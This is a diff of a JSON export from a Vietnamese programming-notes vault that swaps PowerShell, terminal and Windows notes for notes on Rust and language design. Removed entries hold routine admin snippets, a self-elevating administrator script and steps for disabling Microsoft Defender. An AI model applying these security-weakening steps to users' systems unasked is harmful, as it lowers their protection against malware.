'women',\r\n 'accessories',\r\n```\r\n\r\n```\r\n 'children',\r\n ];\r\n```\r\n\r\n### 2. Dễ dàng sắp xếp lại thứ tự và cập nhật danh sách\r\n\r\nVì tất cả các phần tử đều kết thúc bằng dấu phẩy, sắp xếp lại thứ tự phần tử bất kỳ đơn giản và dễ dàng:\r\n\r\n![Sắp xếp lại phần tử trong mảng](https://res.cloudinary.com/duqeezi8j/image/upload/v1557079010/trailing-comma-reorder_gloufm.gif) _Sắp xếp lại phần tử trong mảng_\r\n\r\n### 3. Giảm số dòng conflict khi merge với version control\r\n\r\n![Conflict code hiển thị khi không dùng và có dùng trailing comma](https://res.cloudinary.com/duqeezi8j/image/upload/f_auto/v1557079047/trailing-comma-conflict_fwvzyk.jpg) _Conflict code hiển thị khi không dùng (trên) và có dùng (dưới) trailing comma_\r\n\r\nTrong ví dụ không dùng trailing comma, mặc dù phần tử `female` đều thêm cùng một dấu phẩy, Git vẫn không tự động merge dòng này và vẫn báo conflict cùng với dòng thay đổi tiếp theo. Việc theo dõi những dòng conflict vô nghĩa này sẽ gây khó khăn cho người merge và rất dễ gây ra sai sót bị mất code sau khi resolve.\r\n\r\nNgoài ra, khi số dòng thay đổi ít đi thì khả năng conflict code sẽ giảm và khả năng code tự merge sẽ cao hơn.\r\n\r\nNguồn:: [Tại sao lại để dư một dấu phẩy? - Ehkoo](https://ehkoo.com/bai-viet/why-trailing-comma-javascript)\r\n\r\n[[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V0" + "id": "Yk" }, { - "Tiêu đề": "Các lệnh PowerShell thường dùng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/Các lệnh PowerShell thường dùng", + "Tiêu đề": "Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Lịch sử\r\n| Lệnh | Cách dùng |\r\n| --------------------------- | ---------------------------------- |\r\n| Cuộn lên, cuộn xuống | <kbd>Alt+↑</kbd>, <kbd>Alt+↓</kbd> |\r\n| Xem lịch sử các lệnh | `get-history` hoặc `h` |\r\n| Tìm một lệnh mình từng dùng | gõ lệnh đó rồi nhấn `F8` |\r\nNguồn:: [about History - PowerShell | Microsoft Learn](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.3)\r\n\r\n[[PowerShell là một ngôn ngữ shell]]\r\n[The Complete Guide to PowerShell Punctuation - Simple Talk](https://www.red-gate.com/simple-talk/sysadmin/powershell/the-complete-guide-to-powershell-punctuation/)\r\n# Tạo nhiều folder\r\n```PowerShell\r\n$list=(ls -name -directory).substring(1)\r\nforeach ($i in $list) {\r\n\t$index=$i.substring(0,1)\r\n\tcd \"2$i\" \r\n\tnew-item \"2$index`1 Thành quả cần có\" -type directory;\r\n\tnew-item \"2$index`2 Sự kiện\" -type directory;\r\n\tnew-item \"2$index`3 Tài liệu\" -type directory;\r\n\tCd ..\r\n}\r\n```\r\n# Tạo array\r\n```PowerShell\r\n$list|ForEach-Object {\"`\"$_`\",\" } |clip\r\n```\r\n# Đổi tên hàng loạt\r\n```PowerShell\r\nGet-ChildItem *.md, *.json -recurse | Where-Object {$_.name -cmatch '^2[A-Z]'} | Rename-Item -newname { $_.name -replace '^2(.*)', '4$1'} -whatif \r\n```\r\n- `-cmatch`: match có case sensitive\r\n# Tìm và thay chuỗi hàng loạt\r\n[[VS Code nhiều khi không tìm hết file được do tên quá dài]]\r\n```PowerShell\r\nGet-ChildItem *.md, *.json -recurse | ForEach-Object { (Get-Content $_).Replace('Kết quả cần có::','Thành quả cần có::') | Set-Content $_ } \r\n```\r\n# Xoá tất cả desktop.ini \r\n```PowerShell\r\nGet-ChildItem -Force -Recurse -File -Filter \"desktop.ini\" | Remove-Item -force\r\n```\r\n# Tắt giới hạn số ký tự tối đa cho đường dẫn\r\n```PowerShell\r\nNew-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" -Name \"LongPathsEnabled\" -Value 1 -PropertyType DWORD -Force\r\n```\r\n[Maximum Path Length Limitation - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=powershell#enable-long-paths-in-windows-10-version-1607-and-later)\r\n\r\n# Thêm [[Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn|biến môi trường]] \r\n```PowerShell\r\n[System.Environment]::SetEnvironmentVariable('ResourceGroup','AZ_Resource_Group', 'User')\r\n$env:PATH += \";SomeRandomPath\"\r\n```\r\n```PowerShell\r\n[Environment]::SetEnvironmentVariable(\"Path\", [Environment]::GetEnvironmentVariable(\"Path\", [EnvironmentVariableTarget]::Machine) + \";C:\\bin\", [EnvironmentVariableTarget]::Machine)\r\n```\r\n# sfd\r\n```PowerShell\r\n$sourcePath = “F:\\New folder” \r\n$destinationPath = “E:\\New folder” \r\n$files = Get-ChildItem -Path $sourcePath -Recurse -Filter “*.*” \r\nforeach($file in $files){ \r\n\t$sourcePathFile = $file.FullName \r\n\t$destinationPathFile = $file.FullName.Replace($sourcePath, $destinationPath) \r\n\t$exists = Test-Path $destinationPathFile \r\n\tif(!$exists){ \r\n\t$dir = Split-Path -parent $destinationPathFile \r\n\tif (!(Test-Path($dir))) { New-Item -ItemType directory -Path $dir } \r\n\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \r\n\t} \r\n\telse{ \r\n\t\t$isFile = Test-Path -Path $destinationPathFile -PathType Leaf \r\n\tif(!$isFile){ \r\n\t\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \r\n\t} \r\n\t} \r\n}\r\n```\r\n", + "Toàn bộ nội dung": "[[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ]]\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V1" + "Ngày cập nhật": "2024-08-24T05:34:00.000Z", + "id": "Yl" }, { - "Tiêu đề": "Dùng Where-Object nhanh hơn dùng -Filter", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/Dùng Where-Object nhanh hơn dùng -Filter", + "Tiêu đề": "cargo giống npm hay pip", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/cargo giống npm hay pip", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [powershell performance: Get-ChildItem -Include vs. Get-ChildItem | Where-Object](https://stackoverflow.com/a/52294304/3416774)", + "Toàn bộ nội dung": "[[npm là chương trình quản lý package cho Node.js]]\r\n[[pip là chương trình quản lý package của Python]]\r\n[[Crate là file, package là tập hợp nhiều crate]] \r\nNguồn:: [1 tháng học Rust - Packages, Crates và Modules](https://2coffee.dev/bai-viet/mot-thang-hoc-rust-packages-crates-va-modules)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V2" + "id": "Ym" }, { - "Tiêu đề": "PowerShell là một ngôn ngữ shell", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/PowerShell là một ngôn ngữ shell", + "Tiêu đề": "Crate là file, package là tập hợp nhiều crate", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Crate là file, package là tập hợp nhiều crate", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\r\n[[Các lệnh PowerShell thường dùng]]\r\n", + "Toàn bộ nội dung": "Một _package_ là một hoặc nhiều crates cung cấp một loạt các chức năng. Một package chứa một file _Cargo.toml_ mô tả cách build các crate của package đó.\r\n\r\nMột _crate_ có thể là một binary crate hoặc một library crate. _Binary crates_ là các chương trình bạn có thể biên dịch và thực thi để chạy, chẳng hạn như một command-line program hoặc một server. Chúng ta cần có một function được gọi là `main`, function này xác định điều gì xảy ra khi chạy thực thi. Tất cả các crates được tạo ra thường là binary crates.\r\n\r\n_Library crates_ không có `main` function, và chúng không được biên dịch để thực thi. Chúng định nghĩa các chức năng dự định để chia sẻ với nhiều projects. Ví dụ, crate `rand` chúng tôi sử dụng trong [Chapter 2](https://www.rustvn.com/vi-VN/rust-book-vn/ch02-00-guessing-game-tutorial.html#generating-a-random-number) cung cấp chức năng tạo các số ngẫu nhiên.\r\nNguồn:: [Packages và Crates - Ngôn ngữ lập trình Rust](https://www.rustvn.com/vi-VN/rust-book-vn/ch07-01-packages-and-crates.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V3" + "id": "Yn" }, { - "Tiêu đề": "Windows Terminal có thể được kích hoạt trong Explorer", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/Windows Terminal có thể được kích hoạt trong Explorer", + "Tiêu đề": "Mỗi lần refactor là một cực hình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Mỗi lần refactor là một cực hình", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\r\n", + "Toàn bộ nội dung": "Rust’s rich type system is a blessing and a curse. Thinking in Rust types is a dream. Managing Rust’s types can be a nightmare. Your data and function signatures can have generic types, generic lifetimes, and trait constraints. Those constraints can have their own generic types and lifetimes. [Sometimes, you’ll have more type constraints than actual code](https://github.com/rxRust/rxRust/blob/master/src/observable.rs#L1134-L1142).\r\n\r\n![](https://miro.medium.com/v2/resize:fit:700/1*Thd-kY7yqSu0qqDq0baV2g.png)\r\n\r\nConstraints that outweigh logic\r\n\r\nYou also need to define all your generics on [every impl](https://github.com/bytecodealliance/wasmtime/blob/038ddfeb6699591b5d82546c9b2d5076097bc9ce/cranelift/entity/src/iter.rs#L29-L58). It’s tedious when writing it the first time. When refactoring though, it can turn a minor change into a cascading mess.\r\n\r\n![](https://miro.medium.com/v2/resize:fit:652/1*5yX-BV9ZAoFZ-cSHOCLojg.png)\r\n\r\nSimple generic IDs are duplicated over and over again.\r\n\r\nIt’s hard to make rapid progress when you need to tweak 14 different definitions before you can take a single step forward.\r\n\r\n_Edit to address external comments: The problem isn’t the expressibility, the problem is no language or tooling solution to reduce the duplication. There are frequent reasons to have the same constraints or refer to the same generic lists, but there’s no way to alias or otherwise refer to a central definition. I’m not sure there should be, but it doesn’t change the burden of duplication._\r\n\r\nNguồn:: [Was Rust Worth It?. From JavaScript to Rust, three years… | by Jarrod Overson | Medium](https://jsoverson.medium.com/was-rust-worth-it-f43d171fb1b3)\r\n\r\n[[Rust phù hợp khi code đã ổn định rồi]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V4" + "id": "Yo" }, { - "Tiêu đề": "Shell là cái vỏ bảo vệ lõi của hệ điều hành", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Shell là cái vỏ bảo vệ lõi của hệ điều hành", + "Tiêu đề": "Rust phù hợp khi code đã ổn định rồi", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Rust phù hợp khi code đã ổn định rồi", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Để giao tiếp với lõi của hệ điều hành cần phải dùng tới shell. [[Terminal là cái chương trình để làm việc với shell]] \r\n![](https://srinisbookcom.files.wordpress.com/2020/11/bb6fa-kernel_shell.jpg) \r\n\r\n![](https://thumbs.dreamstime.com/b/magic-portal-green-plants-fantasy-fern-ivy-night-79779455.jpg) \r\n\r\nThế giới đằng sau tấm gương là cái lõi của hệ điều hành. Terminal là cái tấm gương. Ngôn ngữ ta dùng để giao tiếp với gương là command line. Shell là cái phần mềm của gương, có nhiệm vụ dịch và vận chuyển thông điệp của ta với cái thế giới đằng sau nó và ngược lại\r\n\r\n![](https://wizardzines.com/images/uploads/shell.png) \r\n", + "Toàn bộ nội dung": "Nguồn:: ![Why You SHOULDN'T Learn Rust - YouTube](https://youtu.be/kOFWIvNowXo?si=sdHbK6t97OiMDpxb)\r\n![Why You SHOULD Learn Rust - YouTube](https://youtu.be/h-hdFwze-0U?si=3HP3HIMmQDJnA9T4)\r\n\r\n[[Mỗi lần refactor là một cực hình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V5" + "id": "Yp" }, { - "Tiêu đề": "Subcomand không có gạch (VD: `deno help`). Flag có gạch (VD: `deno --help`)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Subcomand không có gạch. Flag có gạch", + "Tiêu đề": "Rust", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```shell\r\n# Using the subcommand.\r\ndeno help\r\n\r\n# Using the short flag -- outputs the same as above.\r\ndeno -h\r\n\r\n# Using the long flag -- outputs more detailed help text where available.\r\ndeno --help\r\n```\r\n`=this.share`", + "Toàn bộ nội dung": "[Rust và Data Engineering? 🤔](https://blog.duyet.net/2021/11/rust-data-engineering.html)\r\n\r\n![Why You SHOULDN'T Learn Rust - YouTube](https://youtu.be/kOFWIvNowXo?si=sdHbK6t97OiMDpxb)\r\n![Why You SHOULD Learn Rust - YouTube](https://youtu.be/h-hdFwze-0U?si=3HP3HIMmQDJnA9T4)\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2024-01-02T08:35:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V6" + "id": "Yq" }, { - "Tiêu đề": "Terminal là cái chương trình để làm việc với shell", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Terminal là cái chương trình để làm việc với shell", + "Tiêu đề": "TS là để thêm kiểu vào một ngôn ngữ từ đầu đã không muốn có kiểu. Rust được sinh ra với ý định có kiểu ngay từ đầu", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/TS là để thêm kiểu vào một ngôn ngữ từ đầu đã không muốn có kiểu. Rust được sinh ra với ý định có kiểu ngay từ đầu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hãy tưởng tượng ta có một thế giới đằng sau một tấm gương thần. Thế giới đằng sau tấm gương là cái lõi của hệ điều hành. Terminal là cái tấm gương. Ngôn ngữ ta dùng để giao tiếp với gương là command line. Shell là cái phần mềm của gương, là thứ khiến cho nó khác với những tấm gương bình thường. Nó có nhiệm vụ dịch và vận chuyển thông điệp của ta với cái thế giới đằng sau nó và ngược lại\r\n![](https://thumbs.dreamstime.com/b/magic-portal-green-plants-fantasy-fern-ivy-night-79779455.jpg) \r\n\r\n[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]. [[Terminal, console, shell và command line thường được dùng lẫn lộn với nhau]]\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]] [[JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V7" + "id": "Yr" }, { - "Tiêu đề": "Terminal, console, shell và command line thường được dùng lẫn lộn với nhau", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Terminal, console, shell và command line thường được dùng lẫn lộn với nhau", + "Tiêu đề": "Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]. [[Terminal là cái chương trình để làm việc với shell]]\r\n\r\n![](https://thumbs.dreamstime.com/b/magic-portal-green-plants-fantasy-fern-ivy-night-79779455.jpg) \r\n\r\nThế giới đằng sau tấm gương là cái lõi của hệ điều hành. Terminal là cái tấm gương. Ngôn ngữ ta dùng để giao tiếp với gương là command line. Shell là cái phần mềm của gương, có nhiệm vụ dịch và vận chuyển thông điệp của ta với cái thế giới đằng sau nó và ngược lại\r\n\r\n![](https://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/05/terminalarchitecture.png) \r\n\r\n\r\n[**Terminal**] (https://www.geeksforgeeks.org/kali-linux-terminal-and-shell/) **:** \r\nA terminal is a text input and output environment. A terminal window, also known as a terminal emulator, is a text-only window that emulates a console in a graphical user interface (GUI). In other words, a graphical user interface application from which we can access a user’s console. A terminal is a program that allows you to run a shell. Is a device with a human-readable display that accepts a stream of characters and displays them. Only chars are making their way there. They’re commonly used in networking and device debug interfaces.\r\n\r\n**Console :**  \r\nA console is a physical terminal; an instrument panel containing computer controls. A console is a type of terminal. Is a window in which your text-mode programs are active. This window recognizes key presses and is aware of its width and height. A full-screen mode is an option.\r\n\r\n**Shell :** \r\n[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\r\nShell stands for the command-line interpreter. A shell is a program that processes commands and outputs the results. A shell is a layer that sits on top of the kernel: 1) It interprets and processes the commands entered by the user. Unlike users, the shell has access to the kernel. Users can only gain access to the kernel by using a shell and entering commands (i.e. running programs). System calls are used by programs to gain access to kernel functionality. The system API is made up of all system calls.\r\n\r\n[**Command-Line**](https://www.geeksforgeeks.org/command-line-arguments-in-c-cpp/) **:**  \r\nA command line is an area to the right of the command prompt on an all-text display mode computer monitor (typically a CRT or LCD panel) where a user enters commands and data. This is the line where you type commands. It is typically used to indicate that you must run something in the text mode window (command line interface) provided by your operating system.\r\n\r\n**Difference between Terminal, Console, Shell, and Command Line :** \r\nThe table below illustrates the distinctions between Terminal, Console, Shell, and Command Line:\r\n\r\n|**Sr. No.**|**Terminal**|**Console**|**Shell**|**Command-line**|\r\n|---|---|---|---|---|\r\n|1|A terminal is a text input and output environment.|A physical terminal is referred to as a console.|The shell is a command-line interpreter.|A command line, also known as a command prompt, is a type of interface.|\r\n|2|A terminal is a wrapper program that runs a shell and allows us to enter commands.|The console is a type of terminal. It is a window in which your text-mode programs are active.|The shell is the program that actually processes commands and outputs results.|A command-line interface is any type of interface that is used to enter (textual) commands. One of these is the terminal, but some programs have their own command-line interfaces.|\r\n|3|The terminal is a program that displays a graphical interface and allows you to interact with the shell.|The console consisted of a single keyboard and monitor plugged into a dedicated serial console port on a computer for low-level direct communication with the operating system.|A shell is a user interface for accessing the services of an operating system.|A command-line interface (CLI) is a computer program that processes commands in the form of lines of text. The user typically interacts with the shell via a command-line interface (CLI).|\r\n|4|The term terminal can also refer to a device that allows users to interact with computers, typically via a keyboard and display.|A console is a physical terminal that is the primary terminal that is directly connected to a machine. The console is recognized by the operating system as a (kernel-implemented) terminal.|A shell is a primary interface that users see when they log in, and its primary function is to launch other programs.|A command line is an interface that allows a user to type a command (which is expressed as a sequence of characters — typically a command name followed by some parameters) and then press the Return key to execute that command.|\r\n|5|Some types of terminal emulators include:<br><br>- Command prompt<br>- guake<br>- gnome-terminal<br>- terminator|For example, Famicom, Xbox, PlayStation, Nintendo Switch, Wii, and Wii U, etc. are all examples of consoles.|Some examples of shells are:<br><br>- Bash, fish, zsh, ksh, sh, tsch<br>- Power Shell, pwsh<br>- cmd, yori, 4dos, command.com|Some examples of Command-line interface are:<br><br>- Microsoft Windows,<br>- DOS Shell, and<br>- Mouse Systems Power Panel.|\r\n\r\nNguồn:: [Difference between Terminal, Console, Shell, and Command Line - GeeksforGeeks](https://www.geeksforgeeks.org/difference-between-terminal-console-shell-and-command-line/)\r\n", + "Toàn bộ nội dung": "Programming in Rust is like being in an emotionally abusive relationship. Rust screams at you all day, every day, often about things that you would have considered perfectly normal in another life. Eventually, you get used to the tantrums. They become routine. You learn to walk the tightrope to avoid triggering the compiler’s temper. And just like in real life, those behavior changes stick with you forever.\r\n\r\nEmotional abuse is not generally considered a _healthy_ way to encourage change, but it does effect change nonetheless.\r\n\r\nI can’t write code in other languages without feeling uncomfortable when lines are out of order or when return values are unchecked. I also now get irrationally upset when I experience a runtime error.\r\n\r\n![](https://miro.medium.com/v2/resize:fit:680/0*mmijPDv92_IXMXs0.png)\r\n\r\n_What do you mean “_`_done\"_` _is not a function? Why didn’t you let me know \"_`_done”_` _might not be a function??_\r\n\r\nNguồn:: [Was Rust Worth It?. From JavaScript to Rust, three years… | by Jarrod Overson | Medium](https://jsoverson.medium.com/was-rust-worth-it-f43d171fb1b3)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V8" + "id": "Ys" }, { - "Tiêu đề": "Cài win mới", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Windows/Cài win mới", + "Tiêu đề": "Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# PowerShell\r\n\r\n## Permit PowerShell to run local scripts\r\n\r\n```\r\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned\r\n```\r\n\r\n\"C:\\Program Files\\PowerShell\\7\\pwsh.exe\" D:\\Dropbox\\Config\\Startup.ps1\r\n\r\n## Make sure a script runs with full admin privileges\r\n```\r\nparam([switch]$Elevated)\r\nfunction Test-Admin {\r\n    $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())\r\n    $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)\r\n\r\n}\r\n\r\nif ((Test-Admin) -eq $false)  {\r\n    if ($elevated) {\r\n        # tried to elevate, did not work, aborting\r\n    } else {\r\n        Start-Process powershell.exe -Verb RunAs -ArgumentList ('-noprofile -noexit -file \"{0}\" -elevated' -f ($myinvocation.MyCommand.Definition))\r\n\r\n    }\r\n    exit\r\n}\r\n## Running with full privileges\r\n```\r\n\r\n# Run\r\n\r\ncontrol userpasswords2\r\n\r\n# Turn off Defender\r\n\r\n- Search for gpedit.msc and click the top result to open the Local Group Policy Editor.\r\n- Browse the following path: \r\n Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus\r\n\r\n# Fix boot problem\r\n```\r\nbootsect/nt60 sys\r\nbootrec /fixmbr\r\nbootrec /fixboot\r\n```\r\n\r\n![How To Fix Bootrec /fixboot Access is Denied During Fix Boot Configuration (2 Fixes )](https://www.youtube.com/watch?reload=9&v=lRCyb7FzWFY)\r\n", + "Toàn bộ nội dung": "[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]\r\nNguồn:: [Is it correct that Python does not encourage us to read objects's content?](https://langdev.stackexchange.com/q/2966/223)\r\n\r\n[[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V9" + "id": "Yt" }, { - "Tiêu đề": "Local app data", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Windows/Local app data", + "Tiêu đề": "Các ngôn ngữ lập trình tiến hoá dần để trở thành Lisp", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/Các ngôn ngữ lập trình tiến hoá dần để trở thành Lisp", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Nguồn:: [Revenge of the Nerds](http://www.paulgraham.com/icad.html?ref=blog.codinghorror.com)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "VA" + "id": "Yu" }, { - "Tiêu đề": "Windows rất lằng nhằng trong việc thiết lập cấu hình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Windows/Windows rất lằng nhằng trong việc thiết lập cấu hình", + "Tiêu đề": "JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Với sự phát triển của Docker cũng như các công cụ đóng gói container khác, giờ đây việc sử dụng hệ điều hành gì không còn là vấn đề gì quá lớn. Container là một môi trường đóng gói độc lập, như một máy ảo chạy tách biệt khỏi hệ điều hành mà máy sử dụng, nên dù dùng Windows, Linux hay MacOS cũng không thành vấn đề nữa.\r\n\r\nĐặc biệt là VSCode đã hỗ trợ remote container, cho phép code và chạy trực tiếp trong container luôn, vừa tiện lợi, lại có được sự thống nhất cho tất cả mọi người. Thực ra các editor khác cũng làm được như thế, nhưng vì không hỗ trợ sẵn, nên người dùng phải làm thủ công hơn rất nhiều (mount code vào container, dùng terminal truy cập container để chạy lệnh) nên không tiện bằng.\r\n\r\nNguồn:: [Giới thiệu | manhhomienbienthuy](https://manhhomienbienthuy.github.io/pages/gioi-thieu.html)\r\n", + "Toàn bộ nội dung": "Eric Lippert, một trong những implementers của JScript và ở trong hội đồng ECMA vào cuối thập kỷ 90, chia sẻ về lịch sử của JS như sau:\r\n> Hãy nhớ lại mục đích thiết kế cơ bản của JS vào những năm 1990. **Làm cho con khỉ nhảy múa khi bạn rê chuột.** Chúng tôi coi inline expression script là bình thường, các khối script từ hai đến mười dòng là phổ biến, và cái ý nghĩ rằng sẽ có người viết *hàng trăm dòng* cho một trang thực sự rất bất thường. Tôi nhớ khi tôi lần đầu tiên xem một chương trình JS mười ngàn dòng, 